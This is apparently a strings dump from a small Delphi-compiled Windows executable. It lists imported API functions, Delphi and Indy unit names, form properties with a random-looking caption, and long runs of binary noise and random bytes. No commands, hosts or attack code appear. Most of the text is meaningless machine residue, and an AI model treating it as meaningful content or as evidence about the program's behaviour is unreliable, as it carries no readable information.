TlsGetValue
LocalAlloc
GetModuleHandleA
advapi32.dll
RegQueryValueExA
RegOpenKeyExA
RegCloseKey
kernel32.dll
lstrcpyA
WriteFile
WaitForSingleObject
VirtualQuery
VirtualProtect
VirtualAlloc
Sleep
SizeofResource
SetThreadLocale
SetFilePointer
SetEvent
SetErrorMode
SetEndOfFile
ResetEvent
ReadFile
MulDiv
LockResource
LoadResource
LoadLibraryA
LeaveCriticalSection
InitializeCriticalSection
GlobalUnlock
GlobalReAlloc
GlobalHandle
GlobalLock
GlobalFree
GlobalFindAtomA
GlobalDeleteAtom
GlobalAlloc
GlobalAddAtomA
GetVersionExA
GetVersion
GetTickCount
GetThreadLocale
GetTempPathA
GetSystemInfo
GetStringTypeExA
GetStdHandle
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetLocalTime
GetLastError
GetFullPathNameA
GetFileSize
GetDiskFreeSpaceA
GetDateFormatA
GetCurrentThreadId
GetCurrentProcessId
GetCPInfo
GetACP
FreeResource
InterlockedExchange
FreeLibrary
FormatMessageA
FindResourceA
EnumCalendarInfoA
EnterCriticalSection
DeleteCriticalSection
CreateThread
CreateFileA
CreateEventA
CompareStringA
CloseHandle
version.dll
VerQueryValueA
GetFileVersionInfoSizeA
GetFileVersionInfoA
gdi32.dll
UnrealizeObject
StretchBlt
SetWindowOrgEx
SetViewportOrgEx
SetTextColor
SetStretchBltMode
SetROP2
SetPixel
SetDIBColorTable
SetBrushOrgEx
SetBkMode
SetBkColor
SelectPalette
SelectObject
SaveDC
RestoreDC
RectVisible
RealizePalette
PatBlt
MoveToEx
MaskBlt
LineTo
IntersectClipRect
GetWindowOrgEx
GetTextMetricsA
GetTextExtentPoint32A
GetSystemPaletteEntries
GetStockObject
GetPixel
GetPaletteEntries
GetObjectA
GetDeviceCaps
GetDIBits
GetDIBColorTable
GetDCOrgEx
GetCurrentPositionEx
GetClipBox
GetBrushOrgEx
GetBitmapBits
GetArcDirection
ExtTextOutA
ExcludeClipRect
DeleteObject
DeleteDC
CreateSolidBrush
CreatePenIndirect
CreatePalette
CreateHalftonePalette
CreateFontIndirectA
CreateDIBitmap
CreateDIBSection
CreateCompatibleDC
CreateCompatibleBitmap
CreateBrushIndirect
CreateBitmap
BitBlt
user32.dll
CreateWindowExA
WindowFromPoint
WinHelpA
WaitMessage
UpdateWindow
UnregisterClassA
UnhookWindowsHookEx
TranslateMessage
TranslateMDISysAccel
TrackPopupMenu
SystemParametersInfoA
ShowWindow
ShowScrollBar
ShowOwnedPopups
ShowCursor
SetWindowsHookExA
SetWindowTextA
SetWindowPos
SetWindowPlacement
SetWindowLongA
SetTimer
SetScrollRange
SetScrollPos
SetScrollInfo
SetRect
SetPropA
SetParent
SetMenuItemInfoA
SetMenu
SetForegroundWindow
SetFocus
SetCursor
SetClassLongA
SetCapture
SetActiveWindow
SendMessageA
ScrollWindow
ScreenToClient
RemovePropA
RemoveMenu
ReleaseDC
ReleaseCapture
RegisterWindowMessageA
RegisterClipboardFormatA
RegisterClassA
RedrawWindow
PtInRect
PostQuitMessage
PostMessageA
PeekMessageA
OffsetRect
OemToCharA
MessageBoxA
MapWindowPoints
MapVirtualKeyA
LoadStringA
LoadKeyboardLayoutA
LoadIconA
LoadCursorA
LoadBitmapA
KillTimer
IsZoomed
IsWindowVisible
IsWindowEnabled
IsWindow
IsRectEmpty
IsIconic
IsDialogMessageA
IsChild
InvalidateRect
IntersectRect
InsertMenuItemA
InsertMenuA
InflateRect
GetWindowThreadProcessId
GetWindowTextA
GetWindowRect
GetWindowPlacement
GetWindowLongA
GetWindowDC
GetTopWindow
GetSystemMetrics
GetSystemMenu
GetSysColorBrush
GetSysColor
GetSubMenu
GetScrollRange
GetScrollPos
GetScrollInfo
GetPropA
GetParent
GetWindow
GetMenuStringA
GetMenuState
GetMenuItemInfoA
GetMenuItemID
GetMenuItemCount
GetMenu
GetLastActivePopup
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextA
GetIconInfo
GetForegroundWindow
GetFocus
GetDlgItem
GetDesktopWindow
GetDCEx
GetDC
GetCursorPos
GetCursor
GetClientRect
GetClassNameA
GetClassInfoA
GetCapture
GetActiveWindow
FrameRect
FindWindowA
FillRect
EqualRect
EnumWindows
EnumThreadWindows
EndPaint
EnableWindow
EnableScrollBar
EnableMenuItem
DrawTextA
DrawMenuBar
DrawIconEx
DrawIcon
DrawFrameControl
DrawFocusRect
DrawEdge
DispatchMessageA
DestroyWindow
DestroyMenu
DestroyIcon
DestroyCursor
DeleteMenu
DefWindowProcA
DefMDIChildProcA
DefFrameProcA
CreatePopupMenu
CreateMenu
CreateIcon
ClientToScreen
CheckMenuItem
CallWindowProcA
CallNextHookEx
BeginPaint
CharNextA
CharLowerA
CharUpperBuffA
CharToOemA
AdjustWindowRectEx
ActivateKeyboardLayout
kernel32.dll
Sleep
oleaut32.dll
SafeArrayPtrOfIndex
SafeArrayGetUBound
SafeArrayGetLBound
SafeArrayCreate
VariantChangeType
VariantCopy
VariantClear
VariantInit
comctl32.dll
ImageList_SetIconSize
ImageList_GetIconSize
ImageList_Write
ImageList_Read
ImageList_GetDragImage
ImageList_DragShowNolock
ImageList_SetDragCursorImage
ImageList_DragMove
ImageList_DragLeave
ImageList_DragEnter
ImageList_EndDrag
ImageList_BeginDrag
ImageList_Remove
ImageList_DrawEx
ImageList_Draw
ImageList_GetBkColor
ImageList_SetBkColor
ImageList_ReplaceIcon
ImageList_Add
ImageList_GetImageCount
ImageList_Destroy
ImageList_Create
InitCommonControls
comdlg32.dll
GetOpenFileNameA
0(0<0T0h0|0
1e1i1m1
2&2.262>2F2N2V2^2f2n2v2~2
323:3B3J3R3Z3b3j3s3
6_6r6
6,7m7
:!:+:5:?:U:[:i:|:
;';.;8;B;L;X;c;t;z;
<&<f<|<
=3>@>s>y>
>P?X?
0r0x0
1'1/1b1
2%2.2L2R2Z2
363Z3b3h3n3
4e4p4y4
5$5+555
6#6/676
7$7=7
9B9K9|9
<>?}?
1'2#4
4"5>5J5^5h5{5
6Q6X6z6
6]7l7u7
:.:P:
:#;6;J;~;
;0<8<d<o<
=%=*=I=N=S=u=
>*>e?
1#3-383H3O3
4)424>4E4
7&8O8
:$:.:E:V:c:j:n:t:x:~:
;";*;2;:;B;j;
< <7<C<P<b<
>&>.>6>>>F>N>V>^>f>n>v>~>
?&?.?6?>?F?N?V?^?f?n?v?~?
0&0.060>0F0N0V0^0f0n0v0~0
1&1.161>1F1N1V1^1f1n1v1~1
2&2.262>2F2N2V2^2f2n2v2~2
3&3.363>3F3N3V3^3f3n3v3~3
4&4.464>4F4N4V4^4f4n4v4~4
5&5.565>5F5N5V5^5f5n5v5~5
6&6.666>6F6N6V6^6f6n6v6~6
8#8/8
9+979D9V9\9d9l9t9|9
:$:,:4:<:D:L:T:\:d:l:t:|:
;$;,;4;<;D;L;T;\;d;l;t;|;
<$<,<4<<<K<W<d<v<|<
= =$=(=,=0=4=8=<=P=p=x=|=
>$>,>0>4>8><>@>D>H>L>\>|>
?4?<[email protected]?D?H?L?P?T?X?\?l?
0 [email protected]\0`0d0h0x0
1(1H1P1T1X1\1`1d1h1l1p1
2 242T2\2`2d2h2l2p2t2x2|2
3 3$3(3,30343L3l3t3x3|3
4 4(4,4044484<[email protected]
6$6D6L6P6T6X6\6`6d6h6l6
7 7x7|7
7L8l8
>#>0>5>
?O?`?w?
7Z8%:Q:Y:a:i:q:
; ;$;(;,;0;m<
>Y?k?
0U1o1y1
4O667l7
9`:g:
;A<h<|<
>!>m>
?0?c?w?
0#040D0Z0f0
0l1}2
5?5n5
717I7u7
96:r;
</<a<
=B=V=
?#?2?K?f?
2(212
4=4K4R4j4q4
515\5k5
8*919;9A9H9R9W9]9b9h9m9s9z9
: :H:Q:Z:`:q:|:
;E;h;
<*<H<
=5>e>y>
1K1y1
252<2N2S2c2m2
2<3R3{3
4%4.4M4[4z4
5 5.5Q5s5
7$8+8:8A8_8
>+>N>h>
? ?$?(?,?0?4?8?<[email protected]?D?H?L?P?T?X?\?`?d?h?l?p?x?|?
0 0$0,00080<0D0H0P0T0\0`0h0l0t0x0
1 1(1,[email protected]_1k1v1
2(222=2G2R2\2f2p2z2
3;3Z3b3j3r3
4B4x4
5P5]5
5.6H6}6
6+7]7
8 8+81868A8G8L8W8]8b8m8s8x8
9#9(93999>9I9O9T9_9e9j9u9{9
;';4;F;v;z;~;
< <$<(<@<X<\<p<
=8=X=`=d=h=l=p=t=x=|=
> >(>,>0>4>8><>@>D>H>d>
?0?P?X?\?`?d?h?l?p?t?x?
0$0(0,0004080<[email protected]
151C1R1i1
1%232B2Y2
3#323I3v3
4-4<4S4b4y4
5.5`5o5
>->e>~>
?M?i?m?q?u?y?}?
2!2%2)2-2125292=2A2E2I2M2Q2%4
5I5b5y5
5"6?6v6
9!9%9)9-9195999=9A9E9I9M9Q9U9Y9]9a9e9i9m9A;
>J?a?t?
373M3e3j3
3.434M4{4
5 5%5+50555;5B5H5O5U5\5b5i5o5v5
6 6([email protected]`6h6p6x6
6`7u7
:X;\;`;d;h;l;
<O>[>b>l>w>
>H?Y?
0 0E0L0l0t0x0|0
3 [email protected]\3`3d3h3|3
4,4L4T4X4\4`4d4h4l4p4t4
5 5$5(5,505D5d5l5p5t5x5|5
6(6064686<[email protected]`6
7(797=7u7y7}7
8(8C8G8X8m8
9 9$9(9,9094989<[email protected]
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;H;U;Y;l;
< <$<(<,<0<4<8<<<@<D<H<X<x<
= =$=(=,=0=4=8=<=P=\=p=x=|=
> >$>(>,>0>4>8><>
?"?&?*?.?2?6?:?>?V?d?h?
0 0$0(0,00040H0h0p0t0x0|0
1*1<1\1d1h1l1p1t1x1|1
1*2.22262:2>2B2Z2v2
34383<[email protected]\3`3d3h3l3p3
4 4$4(4,4044484<[email protected]
5"5&585T5
6 6$6(6,[email protected]`6h6l6p6t6x6|6
8:9A9b9
<F<X<o<
?(?X?]?
,010j0
1?1L1[1f1x1
2/2<2I2[2`2~2
3$3D3L3P3T3X3\3`3d3h3l3
5"5,5A5J5Z5}5
636^6
7+8K8P8
<6=s=
=J>Q>c?
0=1X1
2T3j3
5%5w5
5,6R6{6
6A7^7
;6;L;
;C<`<
<&=K=s=
>*?G?|?
0G1}1
6A7H7
7l8s8
:/:O:
<m<t<
[email protected]\2`2d2h2l2p2t2x2|2
3&4V4
7A7M7\7
7D8I8h8y8
:5;:;e;
<5<R<2=
>H>z>
4.5U5k5
8!8%8)8-81858o8}8
: ;.;G;
;o<s<
<O=}=
=G>i>
? ?$?(?,?0?4?8?<[email protected]?D?H?L?P?T?X?\?
3$3Y3l3
4C4^4
475E5
9#9'9+9/93979;9?9C9G9K9O9S9W9[9_9c9g9k9o9s9n:
<A=`=p=}=
=7>I>P>~>
?2?6?:?>?B?F?J?N?R?V?Z?^?b?f?j?n?r?v?z?~?
3-373E3U3~3
3<4I4W4
6l7w7
5F5K5]5
6:6B6`6e6n6t6
6"7;7G7N7X7p7
9 9([email protected]`9h9p9x9
: :(:0:8:@:H:P:X:`:h:p:x:
;*;0;H;h;p;t;x;|;
<%<P<`<|<
<L=c=
? ?5?X?d?h?t?x?
02060:0S0W0[0r0v0z0
1 1$1(141>1B1S1W1[1s1{1
2 2$2([email protected]]2u2y2}2
3&3.3F3i3q3
4 4,484<4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5$5,5054585<[email protected]
6 6$6(6,6064686<[email protected]\6`6d6h6l6p6t6x6|6
7(7074787<[email protected]\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<8
;;;m;
<"<4<W<
3F4c4{4
465F5X5
5Q6b6
9F9c9{9
:*:<:
<'<?<P<b<
=.>3>
?&?^?
0+1j1
2`3m3
727R7l7
839e9
;>;n;
?$?G?_?v?
021T1
<.<`<r<
=T=d=t=|=
>>>Y>
0;2a2
4+6`6n6
:M;~;
6;6H6t6y6)777
8?9Z9x9
9>:{:
5Z6j6}6
7:8V8
829A9F9^9c9n9}9
;9;I;H<f<
=#=-=7=A=K=V=`=j=u=
>(>2>=>G>N>X>_>i>p>z>
? ?$?(?,?0?4?8?<[email protected]?D?H?X?x?
2#2-2F2N2V2^2f2n2v2
3 323R3d3m3z3
3)41474C4J4
5H5P5V5b5j5
6 626y6
7M7U7[7g7o7
7!8)8/8;8C8
9D9O9
:%:):/:3:9:=:C:G:M:Q:W:[:a:e:k:o:
;0;A;d;{;
<.<T<t<|<
>(>,>4>H>P>T>X>\>`>d>h>l>p>~>
?%?P?Z?d?l?x?
0_0n0
0"141
1;2K2
2?3F3]3
4=4F4
5U5p6
7?7g7p7
7)8H8k8t8
;";/;;;B;T;f;q;
<-<6<;<@<N<W<\<a<o<x<}<
="=S>_>l>~>
? ?$?(?,?0?4?8?<[email protected]?
0*040A0M0V0\0i0u0
1#1*11181?1F1M1T1[1b1i1p1w1~1
2"272D2I2V2[2h2m2z2
4*4/4<4A4N4S4`4e4r4w4
5&5+585=5J5O5\5a5n5s5
5V9_9i9
:+:7:D:V:c:o:|:
;$;6;<;N;w;
< <0<<<@<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
=#=I=k=
= ?3?8?T?p?
0 0$0(0,0004080<[email protected]\0`0d0h0l0p0t0x0|0
1.121Q1r1v1
2#2H2q2
3'373
7'7/7<7
8 8$8(8,8084888e9
9H:j:t:~:
:/;7;e;
;E<Q<Z<m<
>K>l>
1 151|1
2$2(272C2L2U2`2k2}2
3 3$3(3,3034383<[email protected]
4(575N5
6$6,646<6D6L6T6\6d6l6t6|6
7$7074787<[email protected]\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<[email protected]\8`8d8h8l8p8t8x8|8
9#:/:<:N:Y:t:x:
;&;.;8;S;_;l;~;
<)<;<N<o<{<
=+=8=J=P=`=l=p=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>
?$?(?,?0?4?8?<[email protected]?D?H?L?\?{?
0 0(0,0004080<[email protected]\0`0d0h0l0p0t0x0|0
1$1M1o1
2L2d2
565s5
8<8K8
1$1D1L1P1T1X1\1`1d1h1l1p1t1N3X3`3e3
5V6Z6^6b6f6j6n6r6v6z6~6
;*;0;L;|;
;:<><B<H<X<h<p<t<x<|<
=,=H=L=`=p=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
?.?2?D?a?
0 0$0(0,0004080<[email protected]\0`0d0h0l0p0t0x0|0
1*1D1H1L1P1T1X1\1`1t1
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
3#3'383_3
4"4?4_4g4k4
5-5R5u5
6#6E6j6
7'7/7L7T7u7}7
8"8&8*8A8I8M8c8
9?9d9
:9:]:
;;;\;x;
<!<%<,<
= =$=(=,=0=4=8=<[email protected]=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
> >$>(>,>0>>>j>n>r>v>z>~>
?,?4?8?<[email protected]?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(0,0004080<[email protected]
151=1Z1b1~1
2.262T2\2`2t2
3*32363I3k3
3!4J4R4p4x4
5.565:5Q5Y5r5v5z5
6G6h6
6#7H7l7
8>8f8
8$9>9
: :(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
;";&;*;.;2;6;H;X;\;m;u;
<=<`<
=&=.=I=r=z=
>+>Q>U>Y>t>|>
?)?N?r?
"0D0g0
1 1$1(1,1014181<[email protected]\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
373U3
5+5B5r5
6I6o6
647?9g9U:
:m<m=
0$2o2
0&0n1}1
373w3
5R5a5x5
7T8~8
91:c;Q<8???
343J3Y3s3
=5>D>h>w>
4;5G5T5f5l5|5
6)6-6>6F6
6l7p7t7x7|7
8(8084888<[email protected]^8f8
:":,:<:U:z:
;O;^;e;
=R=s=
>a>o>
>/?k?
3'333:3E3O3Y3c3m3w3
4!4h4
5,54585<[email protected]\5`5d5h5l5p5t5x5|5
6 6$6(6,6064686<[email protected]\6|6
7 7$7(7,7074787<[email protected]\7`7d7h7l7p7
8 8$8(8,80848L8\8l8t8x8|8
9 9$9(9,9094989<[email protected]\9`9d9h9l9p9t9x9|9
: :D:]:
;4;C;H;h;x;
<+<3<N<V<r<z<
=a=e=i=m=t=
=k>o>s>w>{>
>$?(?,?x?|?
g0k0o0s0w0{0
0014181
1!2%2)2-242
263:3>3F3L3
4(4,484<4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
6"6&6*6.62666:6>6B6F6J6N6R6V6Z6^6b6f6j6n6r6v6z6~6
7&7<7D7\7d7}7
8,8L8T8X8\8`8d8h8l8p8t8x8|8
:):T:f:l:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
="=&=*=.=2=6=:=>=B=F=J=N=R=V=Z=^=b=f=j=n=r=v=z=~=
>">&>*>.>2>6>:>>>B>F>J>N>R>V>Z>^>b>f>j>n>r>v>z>~>
? ?$?(?,?0?4?8?<[email protected]?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0,080<0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<[email protected]^1p1
3 3$3(3,3034383<[email protected]
4 4$4(4,4044484<[email protected]\4`4d4h4l4p4t4x4|4
5$5(5<5L5\5d5h5l5p5t5x5|5
6 6$6(6,6064686<[email protected]\6`6d6h6l6p6t6x6|6
667>7M7U7p7v7
8$858
; ;$;(;,;0;4;8;<;@;D;H;L;P;
>,>i>
3N4i4|4
4A5S5^5
6i6{6
6,797B7K7f7
8(83898R8[8c8q8v8
9%929T9a9u9
:&:.:@:g:p:y:
<%<F<N<_<}<
>*><>L>U>~>
?#?1?D?a?p?
0+060K0U0_0h0{0
1'121F1W1
1W2g2
3#3Z3u3
4Z4_4
4J526]6p6
7'8*9H9f9
:.:3:?:S:
7#9\9
</<><
>*?B?Z?r?
D0M0n0
4"5/5>5
1<1d1T3_3m3
=2>G>Y>
1k1o1s1w1{1
3r4v4z4~4
4)5U5
7H8X8
8,9Z9
0(1:1p1
4A4J4X4
7V8`8
:'</<B<
9:9`9k9
9q;z<
<'=[=
1g2E3Y3p4
3%555
8$9*9
2S3}3
757:7l7
9*999S9
414c4
306B6S6k6
7Y8w8`9
0$2k3
7c7m7w7
999E9M9Y9d9j9v9
: :%:*:5:::?:J:O:T:_:l:~;
<'<8<I<_<g<v<
=#=C=P=Z=k=t=
>">)>7><>A>K>[>f>s>
0 0$0(0,0004080<[email protected]\0`0d0h0l0p0t0x0|0
1$10141<[email protected]\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
3(3,34383<[email protected]\3`3d3h3l3p3t3x3|3
444<[email protected]\4`4d4h4l4p4t4x4|4
4k546n6
6#727F7
9P:d:x:
1/2;2H2Z2c2h2s2x2
3 3(3,3034383<[email protected]\3`3d3h3l3p3t3x3|3
5T5p5
5-6m7
8"8/8?8
9'9b9Z:
<c<p<
@1P1g1w1
3)3T3
5>5N5{5
5W6g6
8K8R8i879C9P9b9h9
:L:P:T:X:
:,;0;8;<;
<<<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<[email protected]=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
>>>F>d>l>
?=?E?_?g?k?
1$1([email protected]\1`1d1h1l1p1t1x1|1
2,24282<[email protected]\2`2d2h2l2p2t2x2|2
373?3C3Z3b3{3
4,4G4l4
5 5$5(5,5054585<[email protected]\5`5d5h5l5p5t5x5|5
6$6H6P6T6k6o6s6
7'7M7p7
8 8(8,8084888<[email protected]
9!:4:G:b:}:
;.;S;
<$<=<V<
?K?{?
0S0+2?2r2
4%414=4K4W4f4r4~4
676e6
768\8
8E9R9
<V>i>??
5b7u7K87:`;
=q={=
314C4
4?6e6
=5=u=
5D5X5
8N8]9
9C:P:y:
="=O=
4>5S5
6 6/6I6
6"7Q7
8C8o8
:P:}:
:H;^;r;
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
?&?0?:?E?J?U?Z?d?p?z?
0D0T0d0l0p0t0x0|0
1*1B1c1k1
2,242P2s2{2
3 3$3(3,3034383<[email protected]\3`3d3h3l3p3t3x3|3
4"4<4V4Z4h4p4
4 5;5H5[5|5
6L6_6d6|6
7T7n7
8!8(8c8g8l8
9 9$9,9094989<[email protected]\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:N:V:^:
;";&;*;.;2;6;:;>;B;F;J;N;R;V;Z;^;b;f;j;n;r;v;z;~;
<(<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<[email protected]=D=P=[=_=m=u=
>%>->1>G>O>S>l>
?$?(?,?0?F?J?N?R?m?q?u?y?
11191V1^1b1u1}1
2$202I2Q2U2h2
3/373;3R3^3w3{3
4-45494O4W4[4o4w4{4
5'535I5U5p5
636?6Z6
7:7F7[7|7
838?8W8~8
9<9H9]9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
;0;E;I;W;[;_;
< <$<(<,<0<4<8<<<@<D<H<L<P<^<p<}<
= =$=(=6=>=F=N=V=^=t=
>5>[>e>
?q?x?
0\0{0
1$2Z2
3,454
4'6Y6P75999=9A9E9I9M9Q9U9w:}:o;
=C= >
0{1,2
5-6<6g6
727>7x7
9(9O9
9g:v:
=">Q?
455R5a5x5\6 7'7
8I8x8
9'9S9
3,3e4
696Q6q6|6
7A7S7q7
818I8\8n8
:#:':+:/:3:7:S:
;K<V<n<
=+===W=
0!000D0R0Z0i0|0
1,262P2
5;5v5
6O9::
?0?E?Z?l?
212\2
475i5
5!606
7!7x7
9 :H:W:u:
;=;J;g;o;w;
=&=H=M=g=
2f2u2
3v4O6
8Q8Z8_8h8
9"9D9T9d9
:':S:_:k:w:
:`;x;
=%>g>
0&070C0M061<1G1f2(3,3034383<[email protected]
7P7{7
8"8*878=8E8V8_8j8w8:9F9O9T9`9i9t9
;!;-;@;E;R;
;.<F<U<b<g<p<v<
=B>X>x>
"0:0]0
1<[email protected]\2`2d2h2l2p2t2x2|2
99:3;?;
;V>a>
?(?u?
0N1s1
292H2
244o4
6&7N7f7
7'8A8`8
=A>Q>
2&3/353H3L3[3g3o3}3
3B4F4J4P4`4p4x4|4
5 5$5(5,5054585<[email protected]\5`5p5~5
6#6;6`6p6|6
7 7$7(7,7074787<[email protected]\7`7d7h7l7p7t7x7|7
8#8;8C8G8]8e8
9-959O9W9x9
:&:H:k:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
>6?R?X?
0!040B0
1$2C2d2
: :(:0:8:@:H:P:X:`:h:p:x:
; ;(;0;8;@;H;P;X;`;h;p;x;
< <$<(<,<0<4<8<F<N<
;*;P;c;};
<"<><M<R<]<l<
=+=8=J=P=p=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
?$?,?0?4?8?<[email protected]?D?H?L?p?
70V0m0
1 1$1(1,1014181<[email protected]\1`1d1h1l1p1t1x1|1
2+2<2M2^2o2
3*3;3L3]3n3
4%434A4R4
5?5K5X5j5p5
6 6$6(6,6064686<[email protected]\6`6d6h6l6p6t6x6|6
7"747D7R7
828v8
859I9^9
9':<:
;-;F;
>)>>>N>Z>y>
?$?D?~?
A0W0v0
172M2l2
333h3
4!4R4i4}4
6'6/676H6Z6b6h6o6y6
829c9p9
:K:i:
;);4;>;H;N;X;^;h;s;};
<!<.<3<?<J<W<\<n<
= =$=(=,=0=4=8=<[email protected]=X=n=r=
>Y>]>d>t>
?4?8?L?p?
71C1P1b1o1{1
2#262>2J2T2c2o2|2
3 3$3(3,3034383<[email protected]
4:5\5l5
6'646A6n6
8.8K8
9>9B9H9
: :$:(:,:0:4:8:<:@:D:H:L:P:`:q:u:
:C;O;\;n;t;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
<-=1=5=9===A=H=T=X=
= >7>
c0o0|0
1!1(1-1=1B1K1
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<[email protected]\3`3d3h3l3p3t3x3|3
4 4(434=4J4O4W4a4
2X2`2h2p2x2
[email protected]\3`3d3h3l3p3t3x3|3
4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646<6D6L6T6\6d6l6t6
7p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:H;X;`;h;p;x;
? ?$?(?,?0?4?8?<[email protected]?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(0,0004080<[email protected]\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<[email protected]\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<[email protected]\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<[email protected]\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<[email protected]\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<[email protected]\5`5d5h5l5p5t5x5|5
6 6$6(6,6064686<[email protected]\6`6d6h6l6p6t6x6|6
7 7$7(7,7074787<[email protected]\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<[email protected]\8`8d8h8l8p8t8x8|8
9 9$9(9,9094989<[email protected]\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:
333333333333333333
33333333?333333
33?33
33338
33333
33833
333338
33333833
33333
333838
3333339
3333333333333338
333333333333333333
334C33333338
33333
33B$3333333
34""C33333833
3B""$33333
4"*""C3338
"C3338
:*"*"$3338
"C338
"*"$33
"*:"$
"J"$3
:33:"$
"C8338
"J"C3333
3333:"$
#33338
33333
"J333333
33333:"$3333338
333333
$3333333
333333:"33333338
3333333
33333333
333333333333333333
33333333?333333
33?33
33338
33333
33833
333338
33333833
33333
333838
3333339
3333333333333338
333333333333333333
33DDDDD3333
33333333333
333333?
333333
333333
3333f3333333?
3336Dc3333338
333>fC333333
c333333
3333333333338
3333Dc3333333
3336fC3333338
333>fC333333
333>fd333333
fC33333
3333>fd333338
334C3
fC333?3
33fd3>fC333
fDFfC338
33>ffffc338
fff3333
33833
33338
3333333333338
4DF334DC33
333*C33
c33*C333
338?3
33338?383
F*F333383
"$c33333
"dc3333833
CjC338
CjC338
D*C33383
33333
3332*
C33333833?33
3333"
3333333
3334JC33333338?333
C3333333
C3333333
3333fc33333338
333333333333?
33333?
333333
333333333333333333
333333333333333333
333333333333
33333
334C33333338
33333
33B$3333333
34""C33333833
3B""$33333
4"*""C3338
"C3338
:*3:"$3338
"C333
3333:"$3333338
33333
"C333333
33333:"$3333338
333333
"C333333
333333:"C3333338
3333333
#3333333
3333333:3333333383
333333333333333333
333DDD33333?
2C4"""D338
2$B""""C38
2""333:"C8
83338
2""#33:DC8
333338
33333
333333333333333
333333DDD3
:DC33:""$8
:"C333
$334B"$3
"DDB""$3
3:"""""
333333
333333333333333333
333333333333333333
333333333333
33333
334C33333338
33333
33B$3333333
34""C33333833
3B""$33333
4"*""C3338
"C3338
:*3:"$3338
"C333
3333:"$3333338
33333
"C333333
33333:"$3333338
333333
"C333333
333333:"C3333338
3333333
#3333333
3333333:3333333383
333333333333333333
33333333
7Project1
iIdLogEvent
System
SysInit
^Classes
"RTLConsts
SysConst
UTypes
KWindows
3Messages
SysUtils
CVariants
$VarUtils
QTypInfo
sActiveX
IdLogBase
uIdGlobal
IdStackWindows
IdException
|IdResourceStrings
yIdStack
@IdStackConsts
)IdWinSock2
8Registry
IniFiles
EIdURI
SyncObjs
IdIntercept
IdBaseComponent
mIdSocketHandle
IdAntiFreezeBase
IdComponent
TabNotBk
Consts
dStdCtrls
5Themes
nComCtrls
Printers
WWinSpool
+Graphics
Forms
CommCtrl
FlatSB
StdActns
Clipbrd
YStrUtils
*ShellAPI
&Controls
MultiMon
vMenus
Contnrs
ImgList
EActnList
Dialogs
ExtCtrls
IDlgs
3CommDlg
(ShlObj
RegStr
?WinInet
UrlMon
WinHelpViewer
RHelpIntfs
ComStrs
ExtActns
0Mapi
ExtDlgs
Buttons
CUxTheme
RichEdit
ToolWin
ListActns
Unit1
TForm1
Form1
Width
Height
Caption
U2C9PHh3nqNhXeZjDlQ3mzdY7
Color
clBtnFace
Font.Charset
DEFAULT_CHARSET
Font.Color
clWindowText
Font.Height
Font.Name
MS Sans Serif
Font.Style
OldCreateOrder
PixelsPerInch
TextHeight
TScrollBar
ScrollBar1
Width
Height
PageSize
TabOrder
TComboBox
ComboBox1
Width
Height
ItemHeight
TabOrder
ComboBox1
TListBox
ListBox1
Width
Height
ItemHeight
TabOrder
TTabbedNotebook
TabbedNotebook1
Width
Height
TabFont.Charset
DEFAULT_CHARSET
TabFont.Color
clBtnText
TabFont.Height
TabFont.Name
MS Sans Serif
TabFont.Style
TabOrder
TTabPage
Caption
Default
TIdLogEvent
IdLogEvent1
TOpenDialog
OpenDialog1
IEL|/
j-f\f]
QI~6r
%W+GK
lQ0.#
{:>_B
G;omi
cVn3E>j
.aJj
JC]dZ
n[a#k
PD/%dF
4?na{D
xkvcT
_IU2y
pzmZ*
.Tl3y
e,Sj[
qZlj^n
\|)m=
&4M{Q-
\qnNP
'gJ&E
la]Bd
M-t+y"i
o"%hn
;lP4;
WPl[Z
sw'eP
+{]cUy
